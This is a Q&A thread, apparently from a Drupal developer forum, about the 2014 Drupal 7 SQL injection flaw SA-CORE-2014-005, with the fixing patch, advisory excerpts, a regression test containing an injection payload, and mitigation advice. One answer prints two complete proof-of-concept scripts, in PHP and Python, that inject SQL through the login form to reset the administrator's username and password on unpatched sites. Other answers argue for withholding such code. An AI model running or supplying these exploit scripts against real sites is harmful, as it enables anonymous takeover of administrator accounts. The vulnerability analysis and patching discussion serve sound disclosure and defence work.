33

Reading up on https://www.drupal.org/node/2357241 and the technical details at https://www.drupal.org/SA-CORE-2014-005, as well as the actual patch which is simply:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

I'm wondering what kind of request could be made that utilizes this exploit?

5
  • 1
  • Can we directly make the change in core ? database.inc file ?
    – Hitesh
    Commented Nov 4, 2014 at 6:24
  • @hitesh you can just patch database.inc from the patch above (or by hand, this is a tiny change obviously) but I'd also recommend patching your core Drupal all the way up in its entirety. Commented Nov 4, 2014 at 15:20
  • 1
    For those who wonder not what requests would exploit the bug, but what the bug actually is, I've posted an explanation to Programmers.SE.
    – RomanSt
    Commented Nov 7, 2014 at 2:54
  • Even after upgrade somebody is still able to place .php files within my sites. I've checked menu_router too - nothing suspicious. I've run site audit and drupalgetaddon too
    – AgA
    Commented Nov 8, 2014 at 10:33

6 Answers 6

18

The company that found the bug has some examples on Advisory 01/2014: Drupal - pre Auth SQL Injection Vulnerability :

Extract:

The function assumes that it is called with an array which has no keys. Example:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

Which results in this SQL Statement

SELECT * from users where name IN (:name_0, :name_1)

with the parameters name_0 = user1 and name_1 = user2.

The Problem occurs, if the array has keys, which are no integers. Example:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

this results in an exploitable SQL query:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

with parameters :name_test = user2.

Since Drupal uses PDO, multi-queries are allowed. So this SQL Injection can be used to insert arbitrary data in the database, dump or modify existing data or drop the whole database.

With the possibility to INSERT arbitrary data into the database an attacker can execute any PHP code through Drupal features with callbacks.

1
  • Thanks for sharing, I couldn't find this from searching on the topic. The Problem occurs, if the array has keys, which are no integers - this and the example query are fairly helpful in understanding this. Commented Oct 15, 2014 at 19:40
20

Whats going on with 7.32 By checking the testing module. You can see the following test was added to 7.32;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

This should give some further insight into how to craft an attack.

Proof of Concept Since more than enough time has passed and there are plenty of PoC's out in the wild.

Poc #1 - PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc #2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

Here is a blog that does a good breakdown: http://www.volexity.com/blog/?p=83

5
  • That POC doesn't work.... Commented Oct 16, 2014 at 21:51
  • Can you post a POC with which a hacker can replace $data with array_values($data) in database.inc? Commented Oct 17, 2014 at 7:36
  • I can confirm this worked with a vanilla Drupal site. That's unfortunate...
    – AKS
    Commented Oct 17, 2014 at 15:27
  • As @greggles said this is a little early, not every one has got the memo yet. Please restrain.
    – pal4life
    Commented Oct 17, 2014 at 18:59
  • Question - is the "?q=" required to make this attack work? my server happens to drop requests with a get arg of q (or Q or %-encoded equivalents). Just curious. We patched a while ago and didn't see signs of intrusion or anything, but I'm wondering if we lucked out by rejecting q= requests?
    – Kasapo
    Commented Nov 30, 2014 at 1:24
16

The researchers who found the bug have a proof of concept. Others have developed proofs of concept as well. However, they are purposefully not posting them to try to reduce the likelihood that it will get widely exploited. We should respect that research and restraint and not post examples here.

After some time has passed and sites get upgraded then it will be very interesting, from an academic perspective, to review proof-of-concept attack code. Until then, it's an unnecessary risk and grab for attention.

The code in the SektioinEins advisory are not fully developed examples of how to exploit it. They detail the weakness, but don't precisely identify how to actually exploit the issue.


It's now been a few weeks since the issue was released and SektionEins has posted several proof-of-concepts on their blog. These are quite interesting compared to many of the other proofs-of-concept that have been developed since they leave very few traces of their activity (e.g. nothing in the menu_router table).

4

I can confirm, that this vulnerability will work with every Drupal 7.31 and lower site, doesn't matter which modules are active. Every drupal form could be used to exploit this vulnerability.

Exploit is quite simple, so PoC is already out in the wild. I was able to attack own server and change user passwords as anonymous user in clean Drupal install, but the possibilities are endless.

This bug was known almost 1 year ago via https://www.drupal.org/node/2146839 but nobody from Drupal Core Security Team responded.

4
  • It wasn't reported as a security issue, was it? Commented Oct 16, 2014 at 15:30
  • It was tagged with "#security", a priority of "major", a status of "needs review", and included a patch that basically achieves what the patch in 7.32 does. Perhaps the # in front of "security" limited someone from seeing it that otherwise would have, or maybe there's just too many issues in the queue. Still surprising that no one responded to it. Commented Oct 16, 2014 at 16:24
  • 3
    It was not reported as a security issue, so probably the security team didn't see it. But yeah, the guy was unsure it was a security issue, so that's probably why. Commented Oct 16, 2014 at 22:09
  • 2
    It was reported as a "Feature request" not even as a bug. New features are not accepted in the stable version of Drupal core so it is normal it is not looked at. Security issues should never be posted publicly, there is a clear page how to report Drupal security issues to the Security Team: drupal.org/node/101494 Commented Oct 17, 2014 at 7:14
4

I wondered how this could be exploited and how much time and effort it would take? Therefore I decided to install older Drupal 7 version on my localhost and reverse engineer this bug. What I discovered was a shocking bug which gives anyone with basic knowledge about HTML/SQL a full access to your Drupal site.

I managed to execute SQL injection into Drupal 7 using anonymous user in a less than 30mins of trying!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

NOTE: This still won't allow you to login since Drupal uses SHA512 with salt so its not possible to actually login. Intentionally I didn't put the code in here, but obviously anyone with little bit of Drupal knowledge will know how to overcome this and construct the query which will give you full access!

This opens a question on how secure is Drupal and whos responsible for something like this? Apparently this bug was known for more than a year (https://www.drupal.org/node/2146839), but nobody didn't react on Drupal.org. Accidentally or intentionally? :)

1

It is a fix of a SQL injection vulnerability where malicious SQL statements are inserted into an entry field for execution and that could lead for example to release the database contents. This fix is important to apply as soon as possible especially because this vulnerability can be exploited by anonymous users.

If you cannot update immediately the security team has you can apply this patch which will provide the same protection until you can do the full upgrade 1. Also the security team has prepared some FAQ related to this issue. Putting your site in maintenance mode will not help and please clear the cache after applying the update or make sure you are using 7.32.

Also, you should check if your site has not been compromised. There are some sites already reporting problems. Here it is one blog post that suggest how you can check Updating to Drupal 7.32 is not enough, your site may already be hacked

I apply the fix on october 15 and my sites have already reported someone trying to exploit the vulnerability

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.